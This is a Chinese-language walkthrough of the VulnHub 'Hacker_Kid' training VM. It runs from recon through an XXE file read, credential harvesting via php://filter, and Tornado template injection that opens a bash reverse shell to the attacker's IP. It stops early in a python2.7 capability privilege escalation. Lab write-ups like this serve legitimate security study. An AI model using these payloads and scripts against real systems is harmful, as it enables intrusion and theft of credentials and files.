靶机练习: Hacker_Kid-v1.0.1

准备工作

靶机地址: https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
- MD5 校验：70f5e0eaa87f9c23a9f9633344afe6f1
  - cmd 进行校验: certutil -hashfile 文件路径 MD5
  - powershell 进行校验: Get-FileHash 文件路径 -Algorithm MD5 | Format-List
- 使用 VirtualBox
- 网络 Host-Only
配置网络环境：https://www.cnblogs.com/shadow-/p/16815020.html
- kali: NAT + [ Bridged/Host-Only ]

靶机攻略

发现目标

使用常规工具：

arp-scan
nmap
netdiscover
fping

初步扫描 sudo arp-scan -l -I eth1 发现目标 192.168.56.118

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1  
[sudo] kali 的密码：
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:5c:43:96       PCS Systemtechnik GmbH
192.168.56.118  08:00:27:04:87:5a       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.154 seconds (118.85 hosts/sec). 3 responded

使用 nmap 进行端口扫描 nmap -A -T4 192.168.56.118 发现三个 tcp 端口开发

┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.118
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 11:32 CST
Nmap scan report for 192.168.56.118
Host is up (0.0012s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
|_http-server-header: TornadoServer/6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.50 seconds

53 是 DNS 服务使用 ISC BIND 9.16.1 (Ubuntu Linux)
- 用于 DNS 的服务，对于 BIND 9 的官方资料 https://www.isc.org/bind/
- 相关漏洞 CVE-2020-8625 、CVE-2021-25216
80 是 http 服务使用 Apache httpd 2.4.41 ((Ubuntu))
- 从 http-title: Notorious Kid : A Hacker 看 Notorious Kid : A Hacker 对于初步信息收集应该从此处开始
9999 也是 http 服务，但使用的是 Tornado httpd 6.1
- 并且 http-title 以及 _Requested resource was /login?next=%2F 表明与登录有关

收集信息

我们使用 firefox 先访问 http://192.168.56.118:80/ 发现此页面中是一个提示信息，一个黑客攻陷了此网站，并留了一个后面让我们使用 dig 但我们需要更多信息，进一步使用 Ctrl + U 查看源码

<!--

<div class="container py-5">
  <h1>Thanks</h1>

 TO DO: Use a GET parameter page_no  to view pages.
-->
    <!-- Optional JavaScript -->
    <!-- jQuery first, then Popper.js, then Bootstrap JS -->

在源码的一段注释信息中说此页面存在一个 GET 参数 page_no
page_no 翻译 page 页面，在开发中 no 一般指数字

我们随意尝试请求一下 http://192.168.56.118/?page_no=0 查看页面与原本的有什么区别

┌──(kali㉿kali)-[~]
└─$ comm -3 <(curl "http://192.168.56.118/" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null        1 ⨯

<font color="red">
</center>


<!--

<div class="container py-5">
  <h1>Thanks</h1>

        Oh Man !! Isn't is right to go a little deep inside?
        <font color="red">
        </center>


        <!--

        <div class="container py-5">
          <h1>Thanks</h1>

发现在 http://192.168.56.118/?page_no=0 页面下方多了一段红色提示 "Oh Man !! Isn't is right to go a little deep inside?"
不同之处可以在访问浏览器中发现，也可以通过 curl 请求回返的源码通过 comm 进行比较发现不同的地方
- 对比命令中的不同是使用 Process Substitution 将 curl 输出做为 comm 输入类似管道 | 的使用
- 2>/dev/null 作用是将 标准错误 重定向到 /dev/null 文件
  - /dev/null 是一个特殊的文件，写入到它的内容都会被丢弃，可以理解为垃圾桶
对于提示 "Oh Man !! Isn't is right to go a little deep inside?" 表示我们的猜测大体正确，但参数的值不够准确，在换值 page_no=1 发现结果是一样的 comm -3 <(curl "http://192.168.56.118/?page_no=1" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) 2>/dev/null

对此我们编写一个爆破脚本 loop.sh 并执行 bash loop.sh 下面是脚本内容，在 0~50 进行爆破比对返回内容有异常的数值

i=0
while(( $i<=50 ))
do
    j=$((i+1))
    str=`comm -3 \
        <(curl -i "http://192.168.56.118/?page_no=$i" 2>/dev/null) \
        <(curl -i "http://192.168.56.118/?page_no=$j" 2>/dev/null) \
        2>/dev/null`
    if ((${#str} > 0))
    then
        echo $j
        break
    fi
    let "i++"
done

爆破结果，值为21

┌──(kali㉿kali)-[~/workspace]
└─$ bash loop.sh 
21

我们访问 http://192.168.56.118/?page_no=21

Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local

发现在页面最下面有这样一段红色提示，如果瞎可以使用 comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null 看源码区别

┌──(kali㉿kali)-[~/workspace]
└─$ comm -3 <(curl "http://192.168.56.118/?page_no=0" 2>/dev/null) <(curl "http://192.168.56.118/?page_no=21" 2>/dev/null) 2>/dev/null
Oh Man !! Isn't is right to go a little deep inside?
<font color="red">
</center>

<!--

<div class="container py-5">
<h1>Thanks</h1>

        Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local<br>
        <font color="red">
        </center>


        <!--

        <div class="container py-5">
        <h1>Thanks</h1>

提示的大体意思是，他留下了一个关于域名的后门，并给出了一个 hackers.blackhat.local 的域名

扩充知识中：服务器虚拟主机原理

服务器虚拟主机是指使用一台物理机器，充当多个主机名的 WEB 服务器

使用虚拟主机的好处在于，一些小规模的网站，通过跟其他网站共享同一台物理机器，可以减少系统的运行成本，并且可以减少管理的难度

虚拟主机的两种工作方式

基于IP地址的虚拟主机方式

基于主机名的虚拟主机方式

我们可以尝试篡改发送请求的请求头中的 Host 进行欺骗，上面提示有一个 hackers.blackhat.local 的域名，对于目前 IP 是固定的，说明目标使用了服务器虚拟主机管理多个 WEB 网站应用，我们使用 curl -H 'Host: hackerkid.blackhat.local' "http://192.168.56.118" 测试一番

┌──(kali㉿kali)-[~/workspace]
└─$ curl -H 'Host: hackerkid.blackhat.local' http://192.168.56.118                                                               130 ⨯
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Register Today</title>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript">
function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<tel>' + $('#tel').val() + '</tel>' +
        '<email>' + $('#email').val() + '</email>' +
        '<password>' + $('#password').val() + '</password>' +
        '</root>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;

        }
    }
    xmlhttp.open("POST","process.php",true);
    xmlhttp.send(xml);
};
</script>
 <style>
body {
  background-image: url('back2.jpg');
 background-repeat: no-repeat;
  background-attachment: fixed;
  background-size: cover;
}
</style> 
<style>
body {
  color: green;
}
</style>
</head>
<body>
<center>

    <div >
        <h2>Create Account</h2>
        <div >
            <fieldset>
                <p>
                <label for="name">Name</label>
                <input 
                value="" />
                </p>

                <p>
                <label for="tel">Phone Number</label>
                <input 
                />
                </p>

                <p>
                <label for="email">Email</label>
                <input 
                value="" />
                </p>

                <p>
                <label for="password">Password</label>
                <input 
                type="password" />
            
                <button 
                    onclick="XMLFunction()">Register</button>
                </p>
            </fieldset>
        </div>
    </div>
    <div >
    </div>
</center>
</body>
</html>

发现有不一样的内容比较，如果不喜欢源码阅读的可以通过下面方式看看 页面渲染后大体内容 【最后还是要读源码】
- 部分拦截工具，拦截后篡改 Host 在浏览器上查看
  - BurpSuite
  - Mitmproxy 推荐
- 也可将 curl 内容请求保存在本地上查看，最简单
- 或者使用内核为 chromium 的浏览器使用 --host-resolver-rules 参数在命令行打开实例访问
  - --host-resolver-rules="MAP hackers.blackhat.local 192.168.56.118"
- 改 hosts 文件，将域名与 IP 绑定

从代码中可以看出 关键部分（请求相关的） 内容

<fieldset>
    <p>
    <label for="name">Name</label>
    <input 
    value="" />
    </p>

    <p>
    <label for="tel">Phone Number</label>
    <input 
    />
    </p>

    <p>
    <label for="email">Email</label>
    <input 
    value="" />
    </p>

    <p>
    <label for="password">Password</label>
    <input 
    type="password" />

    <button 
        onclick="XMLFunction()">Register</button>
    </p>
</fieldset>

请求是使用 JavaScript 进行处理的，并且请求数据是封装成 xml 进行数据交互

function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<tel>' + $('#tel').val() + '</tel>' +
        '<email>' + $('#email').val() + '</email>' +
        '<password>' + $('#password').val() + '</password>' +
        '</root>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;

        }
    }
    xmlhttp.open("POST","process.php",true);
    xmlhttp.send(xml);
};

xmlhttp.open("POST","process.php",true); 这一段是说明两点
- 请求方式 Post
- 最终会有 process.php 对 xml 数据进行处理，说明后台是使用 PHP 进行处理
Post 请求数据的 xml 结构

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name></name>
    <tel></tel>
    <email></email>
    <password></password>
</root>

我们可以尝试进行数据请求，使用如下命令，此命令本质是一行但为了便于各位理解进行了调整

echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>1</name>
  <tel>1</tel>
  <email>xxx@xxx.com</email>
  <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-

作用是向 http://192.168.56.118/process.php 发起请求，只有使用 -d 参数就是默认 POST 请求
-d 后面是跟请求数据，此处是使用 @ 后面应该跟文件，但通过 echo 输出 xml 的内容用管道输向 -
- 指定 echo 输出的内容

使用效果

┌──(kali㉿kali)-[~/workspace]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <name>1</name>
  <tel>1</tel>
  <email>xxx@xxx.com</email>
  <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, xxx@xxx.com is not available !!!

返回的内容是 Sorry, xxx@xxx.com is not available !!! 其中 xxx@xxx.com 经过多次尝试此处是动态回返的
对此我们可以尝试使用 xml 的相关漏洞

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>

如果 <!DOCTYPE drug [<!ENTITY k SYSTEM 'file:///etc/passwd'>]> 看不懂，可以去查关于 DTD 的内容
在 xml 中包含 DTD 需要使用 DOCTYPE 声明，这个应该好理解，其中 drug 是声明的 XML 文档构建模块 名称可以随意
ENTITY 是进行一个外部实体声明，其中 k 只是一个名称，使用 SYSTEM 引入外部资源，所以 k 现在代表 file:///etc/passwd
其中 email 标签内容是 k 以此通过请求返回看到系统内部信息

利用 xml 的相关漏洞

┌──(kali㉿kali)-[~]
└─$ echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "file:///etc/passwd">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @-
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
bind:x:126:133::/var/cache/bind:/usr/sbin/nologin
 is not available !!!

雀实存在漏洞，借此获取了 /etc/passwd 的内容

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
bind:x:126:133::/var/cache/bind:/usr/sbin/nologin

发现一个用户 saket

我们使用脚本进行爆破，查看在隐秘文件中 是否存在账号密码相关的内容 全部看太多，重点依次排查

echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;

    if ((${#${str: 7:((${#str}-28))}}!=0)); then
        echo '\n#'$i'###:' >> ./test;
        echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
    fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;

读取改用 PHP 的 php://filter 元封装器可以绕过部分系统过滤
./test 是存储经过 grep 过滤的文件，其中 grep -E "(username|root|saket|admin|password|passwd)" 只筛选与 username, root, saket, admin, password, passwd 关键词有关的内容，最后的 grep 会将 ./test 内容做一次完整输出
./test 中存在目录，但下方为空的是被过滤导致的，如果账号密码没有线索需要对其中空的目录重点排查
字典 ./file.txt 内容地址 https://www.cnblogs.com/shadow-/p/16904855.html 这些一般容易都是有漏洞的地方，如果链接失效可以在当前博客的 dict 标签中找到 “爆破字典：linux 敏感文件-01”

结果：

┌──(kali㉿kali)-[~/workspace]
└─$ echo '' > ./test;
for i in $(cat ./file.txt)
do
str=`echo '
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE drug [<!ENTITY k SYSTEM "php://filter/convert.base64-encode/resource='$i'">]>
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&k;</email>
    <password>1</password>
</root>' \
| curl http://192.168.56.118/process.php \
-H 'Host: hackerkid.blackhat.local' \
-d @- 2>/dev/null`;

    if ((${#${str: 7:((${#str}-28))}}!=0)); then
        echo '\n#'$i'###:' >> ./test;
        echo ${str: 7:((${#str}-28))} | base64 -d -i | grep -E "(username|root|saket|admin|password|passwd)" >> ./test;
    fi
done
grep -E "(username|root|saket|admin|password|passwd)" ./test;
------------------------------------------------------------------------------
HOME=/root
LOGNAME=root
# and files in /etc/cron.d. These files also have username fields,
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# It has been reported that passwords should be enclosed with ticks/quotes
# It has been reported that passwords should be enclosed with ticks/quotes
#/etc/passwd###:
root:x:0:0:root:/root:/bin/bash
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
#/home/saket/.bashrc###:
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
username="admin"
password="Saket!#$%@!!"
#/home/saket/.profile###:

看来发现不简单，重点是 /home/saket/.bashrc 的内容，其他的【看 ./test 】都是默认内容【当然返回为空的不确定，为空的是备用信息源】
- username="admin"
- password="Saket!#$%@!!"
分析账号不是 ssh 的用户，排除 ssh 登录，回想目前存在登录的地方
- 记着前面的 nmap 扫描时的 9999 端口吗？扫描结果是与登录有关

其他的内容，可以查看 ./test 的内容

/etc/anacrontab###:

HOME=/root

LOGNAME=root


#/etc/crontab###:

# and files in /etc/cron.d. These files also have username fields,

17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )

52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )


#/etc/fstab###:


#/etc/host.conf###:


#/etc/ld.so.conf###:


#/etc/mysql/my.cnf###:

# It has been reported that passwords should be enclosed with ticks/quotes


#/etc/mysql/my.cnf###:

# It has been reported that passwords should be enclosed with ticks/quotes


#/etc/networks###:


#/etc/passwd###:

root:x:0:0:root:/root:/bin/bash

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin

saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash


#/etc/resolv.conf###:


#/etc/ssh/ssh_config###:


#/home/saket/.bashrc###:

# set variable identifying the chroot you work in (used in the prompt below)

if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then

    debian_chroot=$(cat /etc/debian_chroot)

    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '

    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"

username="admin"

password="Saket!#$%@!!"


#/home/saket/.profile###:

尝试访问 http://192.168.56.118:9999/ 使用密码账号尝试

尝试结果 username 是 saket
尝试结果 password 是 Saket!#$%@!!

登录后的，页面源码

<br>

<body bgcolor='black'>
    <center>
        <font color='green'> Tell me your name buddy<br><br><br>How can i get to know who are you ??</font>
        <br><br><br><br>
        <center>
            <p>
                <font color='red'><a href='/logout'>logout</a></font>
</body>

当前页面应该是存在一个 GET 参数 name

随意请求一番，后的源码

<html>
 <head><title>
  Hello 1 </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>

反复测试后，发现是将请求值嵌入 Hello 后面
还记着 9999 端口使用的是 Tornado httpd 6.1
- Tornado 是使用 Python 开发的全栈式 Web 框架
- 对于 Web 框架熟悉的应该能理解请求值是如何嵌入 Hello 后面的，不了解可以查看 Web 的 标签模板语言 相关内容

利用标签模板语言攻击

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 1702, in _execute
    result = method(*self.path_args, **self.path_kwargs)
  File "/usr/local/lib/python3.8/dist-packages/tornado/web.py", line 3173, in wrapper
    return method(self, *args, **kwargs)
  File "/opt/server.py", line 43, in get
    t = tornado.template.Template(template_data)
  File "/usr/local/lib/python3.8/dist-packages/tornado/template.py", line 326, in __init__
    self.compiled = compile(
  File "<string>.generated.py", line 11
    _tt_tmp = 1 abcdefjg  # <string>:10
                ^
SyntaxError: invalid syntax

下面是报错，说明存在漏洞
通用攻击语句 {{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg] 其中 abcdefjg 随意，目的让它报错，尽量不要让它正常通过
- http://192.168.56.118:9999/?name={{1+abcdefjg}}${1+abcdefjg}<%1+abcdefjg%>[abcdefjg]

探测使用的标签类型【其实知道是 Tornado 就已经确定】，使用 {{1*1}},${1*1},<%1*1%>,[1*1] 看那一段能正常运算

<html>
 <head><title>
  Hello {{1*1}},${1*1},&lt;%1*1%&gt;,[1*1] </title></head>
<body bgcolor='black'>
<center>
<font color='red'>
<br>
<br>
Hello 1,${1*1},<%1*1%>,[1*1]
</font>
<center>
<br>
<br><br><br><br><center>
<a href="/logout">logout</a>
</center>
</body>
</html>

明显是使用 {{}}

因为 Tornado 使用 Python 开发构建，构建语句 {% import os%}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.56.116/4444 0>&1"')}} 如何进行转码绕过过滤 %7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.116%2F4444%200%3E%261%22%27)%7D%7D 编码网站：站长之家

┌──(kali㉿kali)-[~/workspace]
└─$ nc -nvlp 4444 
listening on [any] 4444 ...
connect to [192.168.56.116] from (UNKNOWN) [192.168.56.118] 42872
bash: cannot set terminal process group (673): Inappropriate ioctl for device
bash: no job control in this shell
saket@ubuntu:~$

账号提权

本次提权需要 Capabilities 的知识

查看漏洞可能存在的权限漏洞使用 /sbin/getcap -r / 2>/dev/null

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null                                                                                                       
/usr/bin/python2.7 = cap_sys_ptrace+ep                                                                                              
/usr/bin/traceroute6.iputils = cap_net_raw+ep                                                                                       
/usr/bin/ping = cap_net_raw+ep                                                                                                      
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep                                                                                     
/usr/bin/mtr-packet = cap_net_raw+ep                                                                                                
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

其中 /usr/bin/python2.7 权限设置是有问题的
使用 ps -aef | grep '/usr/sbin/apache2 -k start' 查看与进程 /usr/sbin/apache2 -k start 相关的进程号，选和 root 相关的

saket@ubuntu:/tmp$ ps -aef | grep '/usr/sbin/apache2 -k start'
ps -aef | grep '/usr/sbin/apache2 -k start'
root         888       1  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     889     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     901     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     903     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     904     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     905     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     906     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
